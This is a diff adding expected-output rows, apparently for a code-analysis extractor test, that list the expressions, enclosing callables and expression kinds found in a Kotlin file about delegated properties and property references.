+| delegatedProperties.kt:39:31:39:51 | provideDelegate(...) | delegatedProperties.kt:18:5:40:5 | fn | MethodAccess |
+| delegatedProperties.kt:39:31:39:51 | this | delegatedProperties.kt:39:31:39:51 | invoke | ThisAccess |
+| delegatedProperties.kt:39:31:39:51 | this | delegatedProperties.kt:39:31:39:51 | invoke | ThisAccess |
+| delegatedProperties.kt:39:31:39:51 | varResource2$delegate | delegatedProperties.kt:18:5:40:5 | fn | LocalVariableDeclExpr |
+| delegatedProperties.kt:39:31:39:51 | varResource2$delegate | delegatedProperties.kt:39:31:39:51 | <get-varResource2> | VarAccess |
+| delegatedProperties.kt:39:34:39:51 | DelegateProvider | delegatedProperties.kt:18:5:40:5 | fn | TypeAccess |
+| delegatedProperties.kt:39:34:39:51 | getValue(...) | delegatedProperties.kt:39:31:39:51 | <get-varResource2> | MethodAccess |
+| delegatedProperties.kt:39:34:39:51 | new DelegateProvider(...) | delegatedProperties.kt:18:5:40:5 | fn | ClassInstanceExpr |
+| delegatedProperties.kt:42:27:42:47 | ...::... | delegatedProperties.kt:42:27:42:47 | getVarResource0 | PropertyRefExpr |
+| delegatedProperties.kt:42:27:42:47 | ...::... | delegatedProperties.kt:42:27:42:47 | setVarResource0 | PropertyRefExpr |
+| delegatedProperties.kt:42:27:42:47 | ...=... | delegatedProperties.kt:17:1:43:1 | Owner | KtInitializerAssignExpr |
+| delegatedProperties.kt:42:27:42:47 | Integer | delegatedProperties.kt:42:27:42:47 | getVarResource0 | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | Integer | delegatedProperties.kt:42:27:42:47 | setVarResource0 | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | KMutableProperty1<Owner,Integer> | delegatedProperties.kt:42:27:42:47 | getVarResource0 | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | KMutableProperty1<Owner,Integer> | delegatedProperties.kt:42:27:42:47 | setVarResource0 | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | Owner | delegatedProperties.kt:42:27:42:47 | getVarResource0 | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | Owner | delegatedProperties.kt:42:27:42:47 | setVarResource0 | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | ResourceDelegate | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | a0 | delegatedProperties.kt:42:27:42:47 | get | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | a0 | delegatedProperties.kt:42:27:42:47 | get | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | a0 | delegatedProperties.kt:42:27:42:47 | invoke | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | a0 | delegatedProperties.kt:42:27:42:47 | invoke | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | a0 | delegatedProperties.kt:42:27:42:47 | set | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | a0 | delegatedProperties.kt:42:27:42:47 | set | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | a1 | delegatedProperties.kt:42:27:42:47 | set | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | a1 | delegatedProperties.kt:42:27:42:47 | set | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | get(...) | delegatedProperties.kt:42:27:42:47 | invoke | MethodAccess |
+| delegatedProperties.kt:42:27:42:47 | get(...) | delegatedProperties.kt:42:27:42:47 | invoke | MethodAccess |
+| delegatedProperties.kt:42:27:42:47 | getVarResource0(...) | delegatedProperties.kt:42:27:42:47 | get | MethodAccess |
+| delegatedProperties.kt:42:27:42:47 | getVarResource0(...) | delegatedProperties.kt:42:27:42:47 | get | MethodAccess |
+| delegatedProperties.kt:42:27:42:47 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:42:27:42:47 | setVarResource0(...) | delegatedProperties.kt:42:27:42:47 | set | MethodAccess |
+| delegatedProperties.kt:42:27:42:47 | setVarResource0(...) | delegatedProperties.kt:42:27:42:47 | set | MethodAccess |
+| delegatedProperties.kt:42:27:42:47 | this | delegatedProperties.kt:42:27:42:47 | getVarResource0 | ThisAccess |
+| delegatedProperties.kt:42:27:42:47 | this | delegatedProperties.kt:42:27:42:47 | invoke | ThisAccess |
+| delegatedProperties.kt:42:27:42:47 | this | delegatedProperties.kt:42:27:42:47 | invoke | ThisAccess |
+| delegatedProperties.kt:42:27:42:47 | this | delegatedProperties.kt:42:27:42:47 | setVarResource0 | ThisAccess |
+| delegatedProperties.kt:42:27:42:47 | this.varResource0$delegate | delegatedProperties.kt:42:27:42:47 | getVarResource0 | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | this.varResource0$delegate | delegatedProperties.kt:42:27:42:47 | setVarResource0 | VarAccess |
+| delegatedProperties.kt:42:27:42:47 | varResource0$delegate | delegatedProperties.kt:17:1:43:1 | Owner | VarAccess |
+| delegatedProperties.kt:42:30:42:47 | <set-?> | delegatedProperties.kt:42:27:42:47 | setVarResource0 | VarAccess |
+| delegatedProperties.kt:42:30:42:47 | ResourceDelegate | delegatedProperties.kt:17:1:43:1 | Owner | TypeAccess |
+| delegatedProperties.kt:42:30:42:47 | getValue(...) | delegatedProperties.kt:42:27:42:47 | getVarResource0 | MethodAccess |
+| delegatedProperties.kt:42:30:42:47 | new ResourceDelegate(...) | delegatedProperties.kt:17:1:43:1 | Owner | ClassInstanceExpr |
+| delegatedProperties.kt:42:30:42:47 | setValue(...) | delegatedProperties.kt:42:27:42:47 | setVarResource0 | MethodAccess |
+| delegatedProperties.kt:46:14:48:5 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:46:27:46:41 | Owner | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:46:44:46:65 | KProperty<?> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:47:16:47:16 | 1 | delegatedProperties.kt:46:14:48:5 | getValue | IntegerLiteral |
+| delegatedProperties.kt:49:14:50:5 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:49:27:49:41 | Owner | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:49:44:49:65 | KProperty<?> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:49:68:49:78 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:54:14:57:5 | ResourceDelegate | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:54:34:54:48 | Owner | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:54:51:54:68 | KProperty<?> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:56:16:56:33 | ResourceDelegate | delegatedProperties.kt:54:14:57:5 | provideDelegate | TypeAccess |
+| delegatedProperties.kt:56:16:56:33 | new ResourceDelegate(...) | delegatedProperties.kt:54:14:57:5 | provideDelegate | ClassInstanceExpr |
+| delegatedProperties.kt:60:1:60:24 | ...=... | delegatedProperties.kt:0:0:0:0 | <clinit> | KtInitializerAssignExpr |
+| delegatedProperties.kt:60:1:60:24 | ...=... | delegatedProperties.kt:60:1:60:24 | setTopLevelInt | AssignExpr |
+| delegatedProperties.kt:60:1:60:24 | <set-?> | delegatedProperties.kt:60:1:60:24 | setTopLevelInt | VarAccess |
+| delegatedProperties.kt:60:1:60:24 | DelegatedPropertiesKt | delegatedProperties.kt:0:0:0:0 | <clinit> | TypeAccess |
+| delegatedProperties.kt:60:1:60:24 | DelegatedPropertiesKt | delegatedProperties.kt:60:1:60:24 | getTopLevelInt | TypeAccess |
+| delegatedProperties.kt:60:1:60:24 | DelegatedPropertiesKt | delegatedProperties.kt:60:1:60:24 | setTopLevelInt | TypeAccess |
+| delegatedProperties.kt:60:1:60:24 | DelegatedPropertiesKt.topLevelInt | delegatedProperties.kt:0:0:0:0 | <clinit> | VarAccess |
+| delegatedProperties.kt:60:1:60:24 | DelegatedPropertiesKt.topLevelInt | delegatedProperties.kt:60:1:60:24 | getTopLevelInt | VarAccess |
+| delegatedProperties.kt:60:1:60:24 | DelegatedPropertiesKt.topLevelInt | delegatedProperties.kt:60:1:60:24 | setTopLevelInt | VarAccess |
+| delegatedProperties.kt:60:1:60:24 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:60:1:60:24 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:60:1:60:24 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:60:1:60:24 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:60:24:60:24 | 0 | delegatedProperties.kt:0:0:0:0 | <clinit> | IntegerLiteral |
+| delegatedProperties.kt:62:25:62:48 | ...=... | delegatedProperties.kt:62:1:62:49 | ClassWithDelegate | KtInitializerAssignExpr |
+| delegatedProperties.kt:62:25:62:48 | anotherClassInt | delegatedProperties.kt:62:1:62:49 | ClassWithDelegate | VarAccess |
+| delegatedProperties.kt:62:25:62:48 | anotherClassInt | delegatedProperties.kt:62:1:62:49 | ClassWithDelegate | VarAccess |
+| delegatedProperties.kt:62:25:62:48 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:62:25:62:48 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:62:25:62:48 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:62:25:62:48 | this | delegatedProperties.kt:62:25:62:48 | getAnotherClassInt | ThisAccess |
+| delegatedProperties.kt:62:25:62:48 | this.anotherClassInt | delegatedProperties.kt:62:25:62:48 | getAnotherClassInt | VarAccess |
+| delegatedProperties.kt:63:17:63:37 | ...=... | delegatedProperties.kt:63:6:63:38 | Base | KtInitializerAssignExpr |
+| delegatedProperties.kt:63:17:63:37 | baseClassInt | delegatedProperties.kt:63:6:63:38 | Base | VarAccess |
+| delegatedProperties.kt:63:17:63:37 | baseClassInt | delegatedProperties.kt:63:6:63:38 | Base | VarAccess |
+| delegatedProperties.kt:63:17:63:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:63:17:63:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:63:17:63:37 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:63:17:63:37 | this | delegatedProperties.kt:63:17:63:37 | getBaseClassInt | ThisAccess |
+| delegatedProperties.kt:63:17:63:37 | this.baseClassInt | delegatedProperties.kt:63:17:63:37 | getBaseClassInt | VarAccess |
+| delegatedProperties.kt:65:15:65:32 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:65:15:65:32 | ...=... | delegatedProperties.kt:65:15:65:32 | setMemberInt | AssignExpr |
+| delegatedProperties.kt:65:15:65:32 | <set-?> | delegatedProperties.kt:65:15:65:32 | setMemberInt | VarAccess |
+| delegatedProperties.kt:65:15:65:32 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:15:65:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:15:65:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:15:65:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:15:65:32 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:15:65:32 | memberInt | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:65:15:65:32 | memberInt | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:65:15:65:32 | this | delegatedProperties.kt:65:15:65:32 | getMemberInt | ThisAccess |
+| delegatedProperties.kt:65:15:65:32 | this | delegatedProperties.kt:65:15:65:32 | setMemberInt | ThisAccess |
+| delegatedProperties.kt:65:15:65:32 | this.memberInt | delegatedProperties.kt:65:15:65:32 | getMemberInt | VarAccess |
+| delegatedProperties.kt:65:15:65:32 | this.memberInt | delegatedProperties.kt:65:15:65:32 | setMemberInt | VarAccess |
+| delegatedProperties.kt:65:35:65:77 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:65:35:65:77 | ClassWithDelegate | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:35:65:77 | ClassWithDelegate | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:35:65:77 | ClassWithDelegate | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:65:35:65:77 | anotherClassInstance | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:65:35:65:77 | anotherClassInstance | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:65:35:65:77 | this | delegatedProperties.kt:65:35:65:77 | getAnotherClassInstance | ThisAccess |
+| delegatedProperties.kt:65:35:65:77 | this.anotherClassInstance | delegatedProperties.kt:65:35:65:77 | getAnotherClassInstance | VarAccess |
+| delegatedProperties.kt:65:87:65:95 | memberInt | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | ...::... | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | PropertyRefExpr |
+| delegatedProperties.kt:66:33:66:50 | ...::... | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | PropertyRefExpr |
+| delegatedProperties.kt:66:33:66:50 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:66:33:66:50 | Integer | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | Integer | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | KMutableProperty0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | MyClass | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | MyClass | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | a0 | delegatedProperties.kt:66:33:66:50 | get | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | a0 | delegatedProperties.kt:66:33:66:50 | get | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | a0 | delegatedProperties.kt:66:33:66:50 | invoke | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | a0 | delegatedProperties.kt:66:33:66:50 | invoke | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | a0 | delegatedProperties.kt:66:33:66:50 | set | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | a0 | delegatedProperties.kt:66:33:66:50 | set | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | a1 | delegatedProperties.kt:66:33:66:50 | set | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | a1 | delegatedProperties.kt:66:33:66:50 | set | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | delegatedToMember1$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | get(...) | delegatedProperties.kt:66:33:66:50 | invoke | MethodAccess |
+| delegatedProperties.kt:66:33:66:50 | get(...) | delegatedProperties.kt:66:33:66:50 | invoke | MethodAccess |
+| delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1(...) | delegatedProperties.kt:66:33:66:50 | get | MethodAccess |
+| delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1(...) | delegatedProperties.kt:66:33:66:50 | get | MethodAccess |
+| delegatedProperties.kt:66:33:66:50 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1(...) | delegatedProperties.kt:66:33:66:50 | set | MethodAccess |
+| delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1(...) | delegatedProperties.kt:66:33:66:50 | set | MethodAccess |
+| delegatedProperties.kt:66:33:66:50 | this | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | ThisAccess |
+| delegatedProperties.kt:66:33:66:50 | this | delegatedProperties.kt:66:33:66:50 | invoke | ThisAccess |
+| delegatedProperties.kt:66:33:66:50 | this | delegatedProperties.kt:66:33:66:50 | invoke | ThisAccess |
+| delegatedProperties.kt:66:33:66:50 | this | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | ThisAccess |
+| delegatedProperties.kt:66:33:66:50 | this.delegatedToMember1$delegate | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | VarAccess |
+| delegatedProperties.kt:66:33:66:50 | this.delegatedToMember1$delegate | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | VarAccess |
+| delegatedProperties.kt:66:36:66:39 | MyClass | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:66:36:66:39 | MyClass.this | delegatedProperties.kt:65:1:85:1 | MyClass | ThisAccess |
+| delegatedProperties.kt:66:36:66:50 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:66:36:66:50 | ...=... | delegatedProperties.kt:66:36:66:50 |  | AssignExpr |
+| delegatedProperties.kt:66:36:66:50 | <dispatchReceiver> | delegatedProperties.kt:66:36:66:50 |  | VarAccess |
+| delegatedProperties.kt:66:36:66:50 | <set-?> | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | VarAccess |
+| delegatedProperties.kt:66:36:66:50 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:66:36:66:50 | Integer | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:36:66:50 | Integer | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:36:66:50 | KMutableProperty0<Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:66:36:66:50 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:66:36:66:50 | PropertyReferenceDelegatesKt | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:36:66:50 | PropertyReferenceDelegatesKt | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | TypeAccess |
+| delegatedProperties.kt:66:36:66:50 | a0 | delegatedProperties.kt:66:36:66:50 | set | VarAccess |
+| delegatedProperties.kt:66:36:66:50 | get(...) | delegatedProperties.kt:66:36:66:50 | invoke | MethodAccess |
+| delegatedProperties.kt:66:36:66:50 | getMemberInt(...) | delegatedProperties.kt:66:36:66:50 | get | MethodAccess |
+| delegatedProperties.kt:66:36:66:50 | getValue(...) | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 | MethodAccess |
+| delegatedProperties.kt:66:36:66:50 | setMemberInt(...) | delegatedProperties.kt:66:36:66:50 | set | MethodAccess |
+| delegatedProperties.kt:66:36:66:50 | setValue(...) | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 | MethodAccess |
+| delegatedProperties.kt:66:36:66:50 | this | delegatedProperties.kt:66:36:66:50 |  | ThisAccess |
+| delegatedProperties.kt:66:36:66:50 | this | delegatedProperties.kt:66:36:66:50 | get | ThisAccess |
+| delegatedProperties.kt:66:36:66:50 | this | delegatedProperties.kt:66:36:66:50 | invoke | ThisAccess |
+| delegatedProperties.kt:66:36:66:50 | this | delegatedProperties.kt:66:36:66:50 | set | ThisAccess |
+| delegatedProperties.kt:66:36:66:50 | this.<dispatchReceiver> | delegatedProperties.kt:66:36:66:50 |  | VarAccess |
+| delegatedProperties.kt:66:36:66:50 | this.<dispatchReceiver> | delegatedProperties.kt:66:36:66:50 | get | VarAccess |
+| delegatedProperties.kt:66:36:66:50 | this.<dispatchReceiver> | delegatedProperties.kt:66:36:66:50 | set | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | ...::... | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | PropertyRefExpr |
+| delegatedProperties.kt:67:33:67:53 | ...::... | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | PropertyRefExpr |
+| delegatedProperties.kt:67:33:67:53 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:67:33:67:53 | Integer | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | Integer | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | KMutableProperty1<MyClass,Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | MyClass | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | MyClass | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | MyClass | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | a0 | delegatedProperties.kt:67:33:67:53 | get | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | a0 | delegatedProperties.kt:67:33:67:53 | get | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | a0 | delegatedProperties.kt:67:33:67:53 | invoke | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | a0 | delegatedProperties.kt:67:33:67:53 | invoke | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | a0 | delegatedProperties.kt:67:33:67:53 | set | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | a0 | delegatedProperties.kt:67:33:67:53 | set | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | a1 | delegatedProperties.kt:67:33:67:53 | set | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | a1 | delegatedProperties.kt:67:33:67:53 | set | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | delegatedToMember2$delegate | delegatedProperties.kt:65:1:85:1 | MyClass | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | get(...) | delegatedProperties.kt:67:33:67:53 | invoke | MethodAccess |
+| delegatedProperties.kt:67:33:67:53 | get(...) | delegatedProperties.kt:67:33:67:53 | invoke | MethodAccess |
+| delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2(...) | delegatedProperties.kt:67:33:67:53 | get | MethodAccess |
+| delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2(...) | delegatedProperties.kt:67:33:67:53 | get | MethodAccess |
+| delegatedProperties.kt:67:33:67:53 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2(...) | delegatedProperties.kt:67:33:67:53 | set | MethodAccess |
+| delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2(...) | delegatedProperties.kt:67:33:67:53 | set | MethodAccess |
+| delegatedProperties.kt:67:33:67:53 | this | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | ThisAccess |
+| delegatedProperties.kt:67:33:67:53 | this | delegatedProperties.kt:67:33:67:53 | invoke | ThisAccess |
+| delegatedProperties.kt:67:33:67:53 | this | delegatedProperties.kt:67:33:67:53 | invoke | ThisAccess |
+| delegatedProperties.kt:67:33:67:53 | this | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | ThisAccess |
+| delegatedProperties.kt:67:33:67:53 | this.delegatedToMember2$delegate | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | VarAccess |
+| delegatedProperties.kt:67:33:67:53 | this.delegatedToMember2$delegate | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | VarAccess |
+| delegatedProperties.kt:67:36:67:53 | ...::... | delegatedProperties.kt:65:1:85:1 | MyClass | PropertyRefExpr |
+| delegatedProperties.kt:67:36:67:53 | <set-?> | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | VarAccess |
+| delegatedProperties.kt:67:36:67:53 | Integer | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | Integer | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | Integer | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | MyClass | delegatedProperties.kt:65:1:85:1 | MyClass | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | MyClass | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | MyClass | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | PropertyReferenceDelegatesKt | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | PropertyReferenceDelegatesKt | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | TypeAccess |
+| delegatedProperties.kt:67:36:67:53 | a0 | delegatedProperties.kt:67:36:67:53 | get | VarAccess |
+| delegatedProperties.kt:67:36:67:53 | a0 | delegatedProperties.kt:67:36:67:53 | invoke | VarAccess |
+| delegatedProperties.kt:67:36:67:53 | a0 | delegatedProperties.kt:67:36:67:53 | set | VarAccess |
+| delegatedProperties.kt:67:36:67:53 | a1 | delegatedProperties.kt:67:36:67:53 | set | VarAccess |
+| delegatedProperties.kt:67:36:67:53 | get(...) | delegatedProperties.kt:67:36:67:53 | invoke | MethodAccess |
+| delegatedProperties.kt:67:36:67:53 | getMemberInt(...) | delegatedProperties.kt:67:36:67:53 | get | MethodAccess |
+| delegatedProperties.kt:67:36:67:53 | getValue(...) | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 | MethodAccess |
+| delegatedProperties.kt:67:36:67:53 | setMemberInt(...) | delegatedProperties.kt:67:36:67:53 | set | MethodAccess |
+| delegatedProperties.kt:67:36:67:53 | setValue(...) | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 | MethodAccess |
+| delegatedProperties.kt:67:36:67:53 | this | delegatedProperties.kt:67:36:67:53 | invoke | ThisAccess |
+| delegatedProperties.kt:69:36:69:56 | ...::... | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | PropertyRefExpr |
+| delegatedProperties.kt:69:36:69:56 | ...::... | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | PropertyRefExpr |
+| delegatedProperties.kt:69:36:69:56 | ...=... | delegatedProperties.kt:65:1:85:1 | MyClass | KtInitializerAssignExpr |
+| delegatedProperties.kt:69:36:69:56 | Integer | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | Integer | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | Integer | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | KMutableProperty0<Integer> | file://:0:0:0:0 | <none> | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | KMutableProperty1<MyClass,Integer> | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | MyClass | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | MyClass | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 | TypeAccess |
+| delegatedProperties.kt:69:36:69:56 | Unit | file://:0:0:0:0 | <none> | TypeAccess |
